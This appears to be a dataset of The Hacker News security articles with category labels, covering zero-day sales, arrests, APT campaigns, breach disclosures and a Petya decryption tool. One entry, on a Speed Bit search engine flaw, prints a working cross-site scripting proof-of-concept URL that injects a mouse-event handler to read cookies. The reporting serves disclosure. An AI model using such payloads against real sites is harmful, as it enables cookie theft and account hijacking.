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Russian Hacker put up an Android Firefox Zero-Day Exploit for Sale | https://thehackernews.com/2013/09/Android-Firefox-Zero-Day-Exploit-for-Sale.html | A Russian Exploit writer and underground Hacker who goes by the handle "fil9" put up an Android Firefox Zero-Day Exploit for Sale in an open Exploit Market.
Author claims a Zero Day vulnerability in Firefox for Android, which works on Firefox versions 23/24/26 (Nightly).
The advertisement was spotted by Joshua, Malware Intelligence Analyst at Malwarebytes. Hacker Selling exploit with a starting price of $460 only.
According to the proof of concept video uploaded by the Hacker, the exploit forces the mobile Firefox browser to download and execute a malicious app, on just visiting a malicious link only.
What's worrisome is that many major websites are compromised frequently and a large number of visitors of those hacked sites can fall victim to this attack.
"The biggest problem in this situation is that Firefox automatically executes certain known files once they're downloaded, and doesn't give users an option to disable this. Without some sort of prompt, users have no idea that an external app has just been executed." Joshua explained.
An attacker can use social engineering tricks, phishing attackers get the user to click a malicious link and thereby exploiting them.
Android Firefox users are recommended to switch to an alternate browser, until Mozilla patches the vulnerability.
| Malware |
Reporters legally threatened after revealing vulnerability that exposes sensitive data of 170,000 customers | https://thehackernews.com/2013/05/reporters-legally-threatened-after.html | For millions of low income families, the federal government's Lifeline program offers affordable phone service. But an online security lapse has exposed tens of thousands of them to an increased risk of identity theft, after their Social Security numbers, birth dates and other pieces of highly sensitive information were included in files posted publicly online.
Reporters with Scripps were investigating Lifeline, a government benefit-program that provides low-income Americans with discounted phone service, when they came across the sensitive data. They discovered 170,000 Lifeline phone customer records online through a basic Google search that contained everything needed for identity theft.
They asked for an interview with the COO of TerraCom and YourTel, which are the telcos who look after Lifeline,but they threatened reporters who found a security hole in their Lifeline phone system with charges under the Computer Fraud and Abuse Act. Then, the blame-the-messenger hacker accusations and mudslinging began.
The Scripps reporters videotaped the process showing how they found the documents. Attorney Jonathon Lee, acting for both telecoms outfits, threatened the hacks with violating the Computer Fraud and Abuse Act (CFAA).
Lee wrote a letter telling Scripps that the intrusions and downloading of sensitive records were associated with Scripps IP addresses. The company asserts that the personal data was only accessible to the reporter using sophisticated computer techniques.
Jonathan Lee, "by gaining unauthorized access into confidential computer files maintained for the Companies by Vcare, and by digitally transferring the information in these folders to Scripps. I request that you take immediate steps to identify the Scripps Hackers, cause them to cease their activities described in this letter and assist the companies in mitigating the damage from the Scripps Hackers' activities."
The Scripps case bears some resemblance to a separate similar incident involving Andrew weev Auernheimer, who was sentenced in March to 41 months in prison after he found a security flaw in AT&T's public website and used it to harvest the email addresses of over 114,000 iPad users.
But what is interesting is how a corporation can use the Computer Fraud and Abuse Act to try and cover up security cock-ups.
| Vulnerability |
Oh Gosh! Four Zero Day Vulnerabilities Disclosed in Internet Explorer | https://thehackernews.com/2015/07/internet-explorer-browser.html | How many Zero-Days do you think could hit Microsoft today? Neither one nor two; this times its Four.
The Hewlett-Packard's Zero-Day Initiative (ZDI) has disclosed four new zero-day vulnerabilities in Microsoft's Internet Explorer browser that could be exploited to remotely execute malicious code on victim's machine.
All the four zero-days originally were reported to Microsoft, affecting Internet Explorer on the desktop. However, later it was discovered that the zero-day vulnerabilities affected Internet Explorer Mobile on Windows Phones as well.
Each of the four zero-day flaws affects different components of the browser, and all are remotely exploitable through typical drive-by attacks.
Four Zero-day vulnerabilities Disclosed by ZDI
Here are the zero-day vulnerabilities, as reported by ZDI:
ZDI-15-359: AddRow Out-Of-Bounds Memory Access Vulnerability
ZDI-15-360: Use-After-Free Remote Code Execution Vulnerability
ZDI-15-361: Use-After-Free Remote Code Execution Vulnerability
ZDI-15-362: Use-After-Free Remote Code Execution Vulnerability
The most critical vulnerability out of the four bugs is the AddRow Out-Of-Bounds Memory Access flaw that affects the way Internet Explorer handles some specific arrays.
"The vulnerability relates to how Internet Explorer processes arrays representing cells in HTML tables," says the advisory issued by the Zero Day Initiative. "By manipulating a document's elements an attacker can force the Internet Explorer (IE) to use memory past the end of an array of HTML cells. An attacker can leverage this vulnerability to execute code under the context of the current process."
Another vulnerability the company disclosed is a bug in how Internet Explorer handles CAttrArray objects. The vulnerability could allow an attacker to manipulate a document's elements in an attempt to force a free dangling pointer to be reused, leveraging the attacker to execute malicious code on victim's machine.
The two other zero-days are similar as they involve Internet Explorer mishandling CTreePos and CCurrentStyle objects in some circumstances. This leads to a dangling pointer that a remote attacker can reuse, allowing them to execute arbitrary code on the vulnerable machine.
Microsoft has fixed all the four zero-day vulnerabilities in the desktop version of its browser, but the flaws remain open on Internet Explorer Mobile.
HP's Zero Day Initiative does not slack with its 120-day disclosure policy. It notified Microsoft of the first zero-day flaw on November 12, 2014, and extended the disclosure deadline to May 12, 2015, then again to July 19. However, with no patch forthcoming, ZDI went public on July 22.
| Vulnerability |
HTTPS can leak your Personal details to Attackers | https://thehackernews.com/2014/03/https-can-leak-your-personal-details-to.html | Explosive revelations of massive surveillance programs conducted by government agencies by the former contractor Edward Snowden triggered new debate about the security and privacy of each individual who is connected somehow to the Internet and after the Snowden's disclosures they think that by adopting encrypted communications, i.e. SSL enabled websites, over the Internet, they'll be secure.
People do care of their privacy and many have already changed some of their online habits, like by using HTTPS instead of HTTP while they are surfing the Internet. However, HTTPS may be secured to run an online store or the eCommerce Web site, but it fails as a privacy tool.
The US researchers have found a traffic analysis of ten widely used HTTPS-secured Web sites "exposing personal details, including medical conditions, financial and legal affairs and sexual orientation."
The UC Berkeley researchers Brad Miller, A. D. Joseph and J. D. Tygar and Intel Labs' researchers, Ling Huang, together in 'I Know Why You Went to the Clinic: Risks and Realization of HTTPS Traffic Analysis' (PDF), showed that HTTPS, which is a protocol to transfer encrypted data over the Web, may also be vulnerable to traffic analysis.
Due to similarities with the Bag-of-Words approach to document classification, the researchers refer their analysis as Bag-of-Gaussians (BoG).
"Our attack applies clustering techniques to identify patterns in traffic. We then use a Gaussian distribution to determine similarity to each cluster and map traffic samples into a fixed width representation compatible with a wide range of machine learning techniques," say the researchers.
They also mentioned that, "all capable adversaries must have at least two abilities." i.e. The attacker must be able to visit the same web pages as the victim, allowing the attacker to identify patterns in encrypted traffic indicative of different web pages and "The adversary must also be able to observe victim traffic, allowing the adversary to match observed traffic with previously learned patterns" they said.
The Test analysis carried out in the study includes health care services, legal services, banking and finance, Netflix and YouTube as well. The traffic analysis attack covered 6,000 individual pages on the ten Web sites and identified individual pages in the same websites with 89% accuracy in associating users with the pages they viewed.
Snowden mentioned previously, "Encryption works. Properly implemented strong crypto systems are one of the few things that you can rely on. Unfortunately, endpoint security is so terrifically weak that NSA can frequently find ways around it" So, the technique allows Government agencies to target HTTPS traffic to mine metadata from ISP Snooping, Employee Monitoring, and which they could use for Surveillance and Censorship purpose.
| Vulnerability |
Breaking — Russian Hacker Responsible for LinkedIn Data Breach Arrested by FBI | https://thehackernews.com/2016/10/linkedin-russian-hacker-arrested.html | The alleged Russian hacker arrested by the FBI in collaboration with the Czech police is none other than the hacker who was allegedly responsible for massive 2012 data breach at LinkedIn, which affected nearly 117 Million user accounts.
Yevgeniy N, 29-year-old Russian hacker was arrested in Prague on October 5 suspected of participating in conducting cyber-attacks against the United States, according to Reuters.
Earlier it was suspected that the hacker could be involved in hacking against the Democratic National Committee (DNC), or its presidential candidate Hillary Clinton, intended to influence the presidential election.
However, the latest statement released by LinkedIn suggests that the arrest was related to a 2012 data breach at the social network that exposed emails and hashed password of nearly 117 Million users.
"We are thankful for the hard work and dedication of the FBI in its efforts to locate and capture the parties believed to be responsible for this criminal activity," LinkedIn said in a statement.
"Following the 2012 breach of LinkedIn member information, we have remained actively involved with the FBI's case to pursue those responsible."
Earlier this year, a hacker under the nickname "Peace" put on sale what claimed to be the database of 167 Million emails and hashed passwords, including 117 Million already cracked passwords, belonging to LinkedIn users.
But, it is still unclear if the arrested hacker is the same one who was selling LinkedIn data dump on the Dark Web market a few months ago.
Watch Video of Hacker's Arrest:
But if it turns out to be the same one, then it would be a jackpot for the FBI because 'Peace' is the hacker who was also responsible for selling data dumps for MySpace, Tumblr, VK.com, and Yahoo! on the dark web marketplace.
Czech police said that a court would take the decision on the hacker's extradition to the U.S., where he is facing charges for his hacking-related crimes.
We will update the story as soon as we get official confirmation from the U.S. feds.
| Data_Breaches |
Young Hacker, Who Took Over Jail Network to Get Friend Released Early, Faces Prison | https://thehackernews.com/2017/12/hacking-jail-records.html | Well, "a friend in need is a friend indeed" goes a long way, but in this case, this phrase hardly makes any sense.
A 27-year-old Michigan man who hacked into the government computer system of Washtenaw County Jail to alter inmate records and gain early release for his friend is now himself facing federal charges after getting caught.
Konrads Voits from Ann Arbor, Michigan, pleaded guilty in federal court last week for hacking into the Washtenaw County government computer system earlier this year using malware, phishing, and social engineering tricks in an attempt to get his friend released early from jail.
Prosecutors say Voits also used phone calls to prison staff claiming to be a manager at the County Jail's IT department and tricking them into downloading and running malware on their computers by visiting a phony website at "ewashtenavv.org," which mimics the Washtenaw official URL, "ewashtenaw.org."
Voit then obtained the remote login information of one of the Jail employees and used that information to install malware on the County's network and gain access to sensitive County's XJail system in March this year.
Gaining access to this system eventually allowed Voits to steal jail records of several inmates, search warrant affidavits and personal details, including passwords, usernames, and email addresses, of over 1,600 employees, along with altering electronic records of at least one inmate for early release.
However, things did not work as Voits wanted them to, and instead, they all backfired on him when jail employees detected changes in their records and alerted the FBI.
No prisoners were then released early.
This incident took place between January 24th, 2017 and March 10th, 2017 and cost Washtenaw County more than $235,000 to fix the whole mess before authorities busted Voits.
"Cyber intrusions affect individuals, businesses and governments. Computer hackers should realize that unlawfully entering another's computer will result in a felony conviction and a prison sentence," said the United States Attorney Daniel Lemisch.
"We applaud the dedication of so many hard-working law enforcement officers to take away this man's [Voits] ability to intrude into the computer systems of others."
Voits was arrested by the authorities a month later and pleaded guilty last week. He is now facing a fine of up to $250,000 and a maximum sentence of ten years prison, though he is unlikely to receive the maximum sentence.
Voits has agreed to surrender his belongings used during the attack, including his laptop, four cellphones and an undisclosed amount of Bitcoin.
Voits is currently in federal custody and is set to face a sentencing hearing on 5 April 2018.
| Malware |
Microsoft's Process Explorer added VirusTotal Multi-Antivirus Scanner support | https://thehackernews.com/2014/01/microsofts-process-explorer-added.html | Process Explorer, a part of the Microsoft's Sysinternals suite of applications is an alternate task manager for Windows, which offers far more features than 'on-board'.
Microsoft's Windows Sysinternal Suite has released the latest version of Process Explorer v16.0 that has an awesome feature which allows a user to scan any running program files with a web-based multi-antivirus scanner VirusTotal.
Process Explorer sends the hashes of images and files shown in the process and DLL views to VirusTotal, and if they have been previously scanned, it reports how many antivirus engines identified them as possibly malicious.
This new version of 'Process Explorer' is better than ever before, and is quite fast that allows you to find unwanted malware immediately and respective hyper-linked result takes you to VirusTotal.com's detailed report page and there you can even submit more files for scanning.
Whenever your system starts doing sluggish behavior, you try to find out what all the processes are running and what their state is, or any deadlock has occurred?
Process Explorer shows information about handles and DLLs of running processes. This tool has a powerful search capability that quickly shows you which processes have particular handles opened or DLLs loaded.
The unique capabilities of Process Explorer make it useful for tracking down DLL-version problems or handle leaks, and provide insight into the way Windows and applications work.
Now you can use VirusTotal to scan the file of a running process on your computer, and to do that you can right-click on the file and select 'Check VirusTotal'.
With increase in cyber-attacks, job of keeping the antivirus database updated with malicious signature has become very cumbersome. VirusTotal was acquired by Google, provides unbiased service and has real time updates of virus signatures and blacklists.
Both VirusTotal and the Sysinternals tools are great examples of the wealth of first-rate free tools available to IT and developers. Microsoft's collaboration with VirusTotal service is a great initiative to increase the security of windows users. You can download Process Explorer v16.0 here.
| Malware |
SolarWinds Hack — New Evidence Suggests Potential Links to Chinese Hackers | https://thehackernews.com/2021/03/solarwinds-hack-new-evidence-suggests.html | A malicious web shell deployed on Windows systems by leveraging a previously undisclosed zero-day in SolarWinds' Orion network monitoring software may have been the work of a possible Chinese threat group.
In a report published by Secureworks on Monday, the cybersecurity firm attributed the intrusions to a threat actor it calls Spiral.
Back on December 22, 2020, Microsoft disclosed that a second espionage group may have been abusing the IT infrastructure provider's Orion software to drop a persistent backdoor called Supernova on target systems.
The findings were also corroborated by cybersecurity firms Palo Alto Networks' Unit 42 threat intelligence team and GuidePoint Security, both of whom described Supernova as a .NET web shell implemented by modifying an "app_web_logoimagehandler.ashx.b6031896.dll" module of the SolarWinds Orion application.
The alterations were made possible not by breaching the SolarWinds app update infrastructure but instead by leveraging an authentication bypass vulnerability in the Orion API tracked as CVE-2020-10148, in turn allowing a remote attacker to execute unauthenticated API commands.
"Unlike Solorigate [aka Sunburst], this malicious DLL does not have a digital signature, which suggests that this may be unrelated to the supply chain compromise," Microsoft had noted.
While the Sunburst campaign has since been formally linked to Russia, the origins of Supernova remained a mystery until now.
According to Secureworks Counter Threat Unit (CTU) researchers — who discovered the malware in November 2020 while responding to a hack in one of its customers' networks — "the immediate and targeted nature of the lateral movement suggests that Spiral had prior knowledge of the network."
During the course of further investigation, the firm said it found similarities between the incident and that of a prior intrusion activity on the same network uncovered in August 2020, which had been accomplished by exploiting a vulnerability in a product known as ManageEngine ServiceDesk as early as 2018.
"CTU researchers were initially unable to attribute the August activity to any known threat groups," the researchers said. "However, the following similarities to the Spiral intrusion in late 2020 suggest that the Spiral threat group was responsible for both intrusions."
The connection to China stems from the fact that attacks targeting ManageEngine servers have long been associated with threat groups located in the country, not to mention the modus operandi of exploiting long-term persistence to collect credentials, exfiltrate sensitive data, and plunder intellectual property.
But more solid evidence arrived in the form of an IP address that geolocated to China, which the researchers said came from a host that was used by the attackers to run Secureworks's endpoint detection and response (EDR) software for reasons best known to the threat actor, suggesting the software may have been stolen from the compromised customer.
"The threat group likely downloaded the endpoint agent installer from the network and executed it on the attacker-managed infrastructure," the researchers detailed. "The exposure of the IP address was likely unintentional, so its geolocation supports the hypothesis that the Spiral threat group operates out of China."
It's worth pointing out that SolarWinds addressed Supernova in an update to Orion Platform released on December 23, 2020.
| Malware |
Cross Site Scripting Vulnerability in Speed Bit Search Engine | https://thehackernews.com/2011/11/cross-site-scripting-vulnerability-in.html | Cross Site Scripting Vulnerability in Speed Bit Search Engine
Debasish Mandal, A hacker from India , Found that there is a XSS through JavaScript Injection vulnerability in the Home page of Speed Bit Search Engine.The XSS filter is filtering normal html /script /iframe tags but XSS can be achieved by injecting JavaScript event "onmouseover()".Technical Description is below. Debasish have reported the vulnerability to the Speed Bit Team but haven't yet got any response from their side.
Proof Of Concept:
1) Visit this URL https://search.speedbit.com/?aff=grbr" onmousemove="alert(document.cookie)
2) Bring mouse cursor over the hyperlink shown in the image and you should see a POP up box showing the browser cookies.
Submitted By : Debasish Mandal, India.
| Vulnerability |
Vigilante Hackers Aim to Hijack 200,000 Routers to Make Them More Secure | https://thehackernews.com/2016/02/hacking-wireless-router.html | The same "Vigilante-style Hacker," who previously hacked more than 10,000 routers to make them more secure, has once again made headlines by compromising more than 70,000 home routers and apparently forcing their owners to make them secure against flaws and weak passwords.
Just like the infamous hacking group Lizard Squad, the group of white hat hackers, dubbed the White Team, is building up a sizeable botnet consisting of hundreds of thousands of home routers, but for a good purpose.
Lizard Squad, the same group responsible for Sony PlayStation Network and Microsoft Xbox Live outages, uses their botnets to launch DDoS (Distributed Denial of Service) attacks against target websites to flood them with traffic and knock them offline.
Hacking Routers to Make them More Secure
Challenged by Lizard Squad's maliocus work, the White Team of vigilante hackers built their own peer-to-peer botnet that infects routers to close off vulnerabilities, such as:
Weak default passwords
DNS poisoning
Unauthorised access (backdoor)
Disabled firewalls
Their malware, dubbed "Linux.Wifatch" a.k.a "Wifatch" that has been used by the team since last year continues to be updated and has been open-sourced on Github.
The malware, first discovered in November 2014 by an independent malware researcher "Loot Myself" and analysed by Symantec last year, now includes more programs to remove other malicious software and backdoors already on the system.
The White Team has access to around 70,000 devices, according to Symantec, who is continuously watching over the team's botnet.
Good Malware to Fight Bad Malware
Lizard Squad sizable botnet contained somewhere between 120,000 and 150,000 bots, a Lizard spokesperson told Forbes, claiming that their botnet includes not just home routers and PCs, but smart refrigerators, smart TVs and other smart home devices as well.
The White Team aims at hacking and protecting between 150,000 and 200,000 devices from Lizard Squad attacks, thereby removing the rogue gang from people's homes.
However, the team of vigilante hackers face some hurdles, especially when working with the Wifatch malware, which is often too big to install on smaller routers.
"The goal is to use (most) of the 60,000 nodes we have to connect to the hundreds of thousands of boxes that are too small for our normal disinfector and disinfect them remotely," the hacker collective told the publication over encrypted email.
Since there are so many vulnerable devices that can be hacked with little or no effort, these vigilante hackers aren't answer to this widespread problem. They can only help minimize the issue.
The White Team is not the only team of vigilante hackers trying to secure the Internet. Just last week, a hacker replaced a malware with antivirus software. An anonymous hacker was found replacing Dridex, the most active banking malware, with the copies of Avira security software.
| Malware |
How to decrypt Petya Ransomware for Free | https://thehackernews.com/2016/04/ransomware-decrypt-tool.html | Ransomware has risen dramatically since last few years and is currently one of the most popular threats on the Internet.
The Ransomware infections have become so sophisticated with the time that victims end up paying ransom in order to get their critical and sensitive data back.
But if you are infected with Petya Ransomware, there is good news for you.
You can unlock your infected computer without paying the hefty ransom. Thanks to the Petya author who left a bug in the Ransomware code.
What is Petya Ransomware?
Petya is a nasty piece of ransomware that emerged two weeks ago and worked very differently from any other ransomware.
The ransomware targets the victims by rebooting their Windows computers, encrypting the hard drive's master boot file, and rendering the master boot record inoperable.
Also Read: How to Decrypt CoinVault and Bitcryptor Ransomware
A master boot record (MBR) is the information in the first sector of any hard disk that identifies how and where an OS is located while a master boot file is a file on NTFS volumes that includes the name, size, and location of all other files.
Once done, the infected PC restarts and the Petya ransomware code is booted rather than the operating system, displaying a ransom note that demands 0.9 Bitcoin (approx. US$381) in exchange for the decryption key to recover the system's files.
Now, without the decryption password, the infected PC would not boot up, making all files on the startup disk inaccessible.
However, a researcher who goes by the Twitter handle @leostone has developed a tool that generates the key Petya requires decrypting the master boot file.
Here's How to Unlock your Petya-infected Files for Free
The researcher discovered a weakness in the nasty malware's design after Petya infected his father-in-law's PC.
According to security researcher Lawrence Abrams from the Bleeping Computer, the key generator tool developed by Leostone could unlock a Petya-encrypted PC in just 7 seconds.
In order to use the Leostone's password generator tool, victims must remove the startup drive from the Petya affected computer and connect it to another Windows computer that's not infected.
The victim then needs to extract data from the hard disk, specifically:
the base-64-encoded 512 bytes that start at sector 55 (0x37h) with an offset of 0.
the 64-bit-encoded 8-byte nonce from sector 54 (0x36) offset 33 (0x21).
This data then needs to be used on this Web app (mirror site) created by Leostone to generate the key. The victim will then retrieve the key Petya used to decrypt the crucial file.
Here's a Simple Tool to Unlock your Files For Free
Since the Leostone's tool is not a straight-forward method, extracting the encrypted data is not easy for many victims.
The good news is that Fabian Wosar, a separate researcher, has created a free tool called the Petya Sector Extractor that can be used to easily extract the data in seconds.
In order to use Petya Sector Extractor, victims must run the tool on the uninfected Windows computer that is connected to the infected hard drive from the affected computer.
Abrams provided this step-by-step tutorial that will walk victims through the entire process.
Also Read: Here's How to Decrypt Hydracrypt & Umbrecrypt Ransomware
This is a great solution to decrypt your infected files, but most likely, the Petya authors have already heard about this tool and are modifying their code to disable the solution. So, there is no guarantee the tool will continue to work indefinitely.
| Malware |
Experts Uncover Several C&C Servers Linked to WellMess Malware | https://thehackernews.com/2021/07/experts-uncover-several-c-servers.html | Cybersecurity researchers on Friday unmasked new command-and-control (C2) infrastructure belonging to the Russian threat actor tracked as APT29, aka Cozy Bear, that has been spotted actively serving WellMess malware as part of an ongoing attack campaign.
More than 30 C2 servers operated by the Russian foreign intelligence have been uncovered, Microsoft-owned cybersecurity subsidiary RiskIQ said in a report shared with The Hacker News.
APT29, the moniker assigned to government operatives working for Russia's Foreign Intelligence Service (SVR), is believed to have been the mastermind behind the massive SolarWinds supply chain attack that came to light late last year, with the U.K. and U.S. governments formally pinning the intrusions on Russia earlier this April.
The activity is being tracked by the cybersecurity community under various codenames, including UNC2452 (FireEye), Nobelium (Microsoft), SolarStorm (Unit 42), StellarParticle (Crowdstrike), Dark Halo (Volexity), and Iron Ritual (Secureworks), citing differences in the tactics, techniques, and procedures (TTPs) employed by the adversary with that of known attacker profiles, counting APT29.
First identified by Japan's JPCERT/CC in 2018, WellMess (aka WellMail) has been previously deployed in espionage campaigns undertaken by the threat actor to plunder intellectual property from multiple organizations involved in COVID-19 research and vaccine development in the U.K., U.S., and Canada.
"The group uses a variety of tools and techniques to predominantly target governmental, diplomatic, think-tank, healthcare and energy targets for intelligence gain," the U.K.'s National Cyber Security Centre (NCSC) noted in an advisory published in July 2020.
RiskIQ said it began its investigation into APT29's attack infrastructure following a public disclosure about a new WellMess C2 server on June 11, leading to the discovery of a cluster of no fewer than 30 active C2 servers. One of the servers is believed to have been active as early as October 9, 2020, although it's not clear how these servers are being used or who the targets are.
This is not the first time RiskIQ has identified the command-and-control footprint associated with the SolarWinds hackers. In April, it unearthed an additional set of 18 servers with high confidence that likely communicated with the targeted, secondary Cobalt Strike payloads delivered via the TEARDROP and RAINDROP malware deployed in the attacks.
"RiskIQ's Team Atlas assesses with high confidence that these IP addresses and certificates are in active use by APT29," said Kevin Livelli, RiskIQ's director of threat intelligence. "We were unable to locate any malware which communicated with this infrastructure, but we suspect it is likely similar to previously identified samples."
| Malware |
APT Hackers Distributed Android Trojan via Syrian e-Government Portal | https://thehackernews.com/2021/07/apt-hackers-distributed-android-trojan.html | An advanced persistent threat (APT) actor has been tracked in a new campaign deploying Android malware via the Syrian e-Government Web Portal, indicating an upgraded arsenal designed to compromise victims.
"To the best of our knowledge, this is the first time that the group has been publicly observed using malicious Android applications as part of its attacks," Trend Micro researchers Zhengyu Dong, Fyodor Yarochkin, and Steven Du said in a technical write-up published Wednesday.
StrongPity, also codenamed Promethium by Microsoft, is believed to have been active since 2012 and has typically focused on targets across Turkey and Syria. In June 2020, the espionage threat actor was connected to a wave of activities that banked on watering hole attacks and tampered installers, which abuse the popularity of legitimate applications, to infect targets with malware.
"Promethium has been resilient over the years," Cisco Talos disclosed last year. "Its campaigns have been exposed several times, but that was not enough to make the actors behind it to make them stop. The fact that the group does not refrain from launching new campaigns even after being exposed shows their resolve to accomplish their mission."
The latest operation is no different in that it underscores the threat actor's propensity towards repackaging benign applications into trojanized variants to facilitate the attacks.
The malware, masquerading as the Syrian e-Gov Android application, is said to have been created in May 2021, with the app's manifest file ("AndroidManifest.xml") modified to explicitly request additional permissions on the phone, including the ability to read contacts, write to external storage, keep the device awake, access information about cellular and Wi-Fi networks, precise location, and even allow the app to have itself started as soon as the system has finished booting.
Additionally, the malicious app is designed to perform long-running tasks in the background and trigger a request to a remote command-and-control (C2) server, which responds back with an encrypted payload containing a settings file that allows the "malware to change its behavior according to the configuration" and update its C2 server address.
Last but not least, the "highly modular" implant has the capacity to hoover data stored on the infected device, such as contacts, Word and Excel documents, PDFs, images, security keys, and files saved using Dagesh Pro Word Processor (.DGS), among others, all of which are exfiltrated back to the C2 server.
Despite no known public reports of StrongPity using malicious Android applications in their attacks, Trend Micro's attribution to the adversary stems from the use of a C2 server that has previously been used in intrusions linked to the hacking group, notably a malware campaign documented by AT&T's Alien Labs in July 2019 that leveraged tainted versions of the WinBox router management software, WinRAR, and other trusted utilities to breach targets.
"We believe that the threat actor is exploring multiple ways of delivering the applications to potential victims, such as using fake apps and using compromised websites as watering holes to trick users into installing malicious applications," the researchers said.
"Typically, these websites would require its users to download the applications directly onto their devices. In order to do so, these users would be required to enable installation of the applications from 'unknown sources' on their devices. This bypasses the 'trust-chain' of the Android ecosystem and makes it easier for an attacker to deliver additional malicious components," they added.
| Cyber_Attack |
Microsoft launching Real Time Hosted Threat Intelligence Feed | https://thehackernews.com/2012/01/microsoft-launching-real-time-hosted.html | Microsoft launching Real Time Hosted Threat Intelligence Feed
Microsoft is to offer a real-time intelligence feed of botnet and e-crime data to public and private sector subscribers, according to security company Kaspersky. Currently, Microsoft is testing a real-time feed to distribute information collected from several sources on major botnets, including Rustock, Waldec and Kelihos networks.
Partners would be able to access the information using application program interfaces (APIs) that would be provided free by Microsoft. Data from networks of compromised computers will be among the information on offer to ISPs, CERTs, government agencies and private companies, Kaspersky said.
Microsoft will have a lot of data in this system already as anyone who has watched the company's spectacular attacks on the Kelihos botnet last summer will attest, adding to similar campaigns against Rustock and Waledec, will vouch for. "Companies could use the data to look for opportunistic malware infections that often accompany botnet infections, or correlate data on botnet hosts with data on click fraud and other scams," Kaspersky noted. A number of organisations, including the UK government, have called for greater data-sharing to combat e-crime.
| Malware |
Instagram Patches flaw that Makes Private Photos Visible | https://thehackernews.com/2015/01/hacking-instagram-private-photos.html | Your Instagram is not as Private as You Think. Millions of private Instagram photos may have been exposed publicly on the web until the company patched a privacy hole this weekend.
Instagram team was unaware of a security vulnerability from long time which allowed anyone with access to an image's URL to view the photo, even those shared by users whose accounts are set to "private."
In other words, If a private user shares an Instagram post with another service, such as Twitter or Facebook as part of the upload process, that shared photo will remain viewable to the public despite its privacy settings.
The flaw was first reported by David Yanofsky at Quartz and Instagram acknowledged the issue last week before patching the flaw. In a statement to Quartz, an Instagram representative said:
'If you choose to share a specific piece of content from your account publicly, that link remains public but the account itself is still private,'
The Instagram vulnerability was only exploitable on the web, not in Instagram's iOS and Android apps.
'In response to feedback, we made an update so that if people change their profile from public to private, web links that are not shared on other services are only viewable to their followers on Instagram.'
Even with the loophole closed, anyone can still able to share your images online without your permission by viewing the page source, or by taking a screenshot.
Though the such privacy flaw or any other potential controversy could have an impact on parent company Facebook.
| Vulnerability |
Beware! Unpatched Safari Browser Hack Lets Attackers Spoof URLs | https://thehackernews.com/2018/09/browser-address-spoofing-vulnerability.html | A security researcher has discovered a serious vulnerability that could allow attackers to spoof website addresses in the Microsoft Edge web browser for Windows and Apple Safari for iOS.
While Microsoft fixed the address bar URL spoofing vulnerability last month as part of its monthly security updates, Safari is still unpatched, potentially leaving Apple users vulnerable to phishing attacks.
The phishing attacks today are sophisticated and increasingly more difficult to spot, and this newly discovered vulnerability takes it to another level that can bypass basic indicators like URL and SSL, which are the first things a user checks to determine if a website is fake.
Discovered by Pakistan-based security researcher Rafay Baloch, the vulnerability (CVE-2018-8383) is due to a race condition type issue caused by the web browser allowing JavaScript to update the page address in the URL bar while the page is loading.
Here's How the URL Spoofing Vulnerability Works
Successful exploitation of the flaw could potentially allow an attacker to initially start loading a legitimate page, which would cause the page address to be displayed in the URL bar, and then quickly replace the code in the web page with a malicious one.
"Upon requesting data from a non-existent port the address was preserved and hence a due to race condition over a resource requested from non-existent port combined with the delay induced by setInterval function managed to trigger address bar spoofing," Baloch explains on his blog.
"It causes the browser to preserve the address bar and to load the content from the spoofed page. The browser will however eventually load the resource, however the delay induced with setInterval function would be enough to trigger the address bar spoofing."
Since the URL displayed in the address bar does not change, the phishing attack would be difficult for even a trained user to detect.
Using this vulnerability, an attacker can impersonate any web page, including Gmail, Facebook, Twitter, or even bank websites, and create fake login screens or other forms to steal credentials and other data from users, who see the legitimate domain in the address bar.
Baloch created a proof-of-concept (PoC) page to test the vulnerability, and observed that both Microsoft Edge and Apple Safari browsers "allowed javascript to update the address bar while the page was still loading."
Proof-of Concept Video Demonstrations
The researcher has also published proof of concept videos for both Edge and Safari:
According to Baloch, both Google Chrome and Mozilla Firefox web browsers are not affected by this vulnerability.
While Microsoft had already patched the issue last month with its Patch Tuesday updates for August 2018, Baloch has yet to get a response from Apple about the flaw he reported to the company back on June 2.
The researcher disclosed the full technical details of the vulnerability and proof-of-concept (PoC) code for Edge only after the 90-day disclosure window, but he is holding the proof-of-concept code for Safari until Apple patches the issue in the upcoming version of Safari.
| Vulnerability |
Operator of VirusTotal Like Malware-Scanning Service Jailed for 14 Years | https://thehackernews.com/2018/09/scan4you-malware-scanner.html | A Latvian hacker behind the development and operation of counter antivirus service "Scan4You" has finally been sentenced to 14 years in prison.
37-year-old Ruslans Bondars, described as a Latvian "non-citizen" or "citizen of the former USSR who had been residing in Riga, Latvia," was found guilty on May 16 in federal court in Alexandria, during which a co-conspirator revealed he had worked with Russian law enforcement.
Bondars created and ran Scan4you—a VirusTotal like online multi-engine antivirus scanning service that allowed hackers to run their code by several popular antiviruses to determine if their computer virus or malware would be flagged during routine security scans before launching them into a real-world malware campaign.
While legal scanning services share data about uploaded files with the antivirus firms, Scan4you instead informed its users that they could "upload files anonymously and promised not to share information about the uploaded files with the antivirus community."
Bondars was one of the two hackers found to have been running Scan4you from 2009 to 2016 and helping other malware authors test and improve the malware they then "used to inflict hundreds of millions of dollars in losses on American companies and consumers."
Bondars' partner Jurijs Martisevs, who was also arrested while on a trip to Latvia and extradited to the United States, pleaded guilty to similar charges back in March this year.
According to the Justice Department press release, Scan4you customers used the service to steal millions of payment cards from retail stores across the world, including the United States, which led to some $20.5 billion in losses.
For instance, one Scan4you customer used the service to test malware that was subsequently used to steal approximately 40 million credit and debit card numbers, and other personal information from a US retail store, causing $292 million in losses.
Another customer used Scan4you to assist the development of "Citadel"—a widely used malware strain that infected over 11 million computers worldwide, including in the United States and resulted in over $500 million in fraud-related losses.
"Ruslans Bondars helped malware developers attack American businesses," said Assistant Attorney General Benczkowski. "The Department of Justice and its law enforcement partners make no distinction between service providers like Scan4You and the hackers they assist: we will hold them accountable for all of the significant harm they cause and work tirelessly to bring them to justice, wherever they may be located."
Bondars was convicted of three counts, including conspiracy to violate the Computer Fraud and Abuse Act, conspiracy to commit wire fraud, and computer intrusion with intent to cause damage and was sentenced to 168 months in prison on Friday.
Although US court never charged Bondars with direct involvement in any hacking, court documents show he used malware to rob online users and trick them into buying antivirus services they did not need.
Moreover, prosecutors also say Scan4You was an "innovation" in malware that has inspired many copycats, which resulted in such services being readily available on the Internet.
| Cyber_Attack |
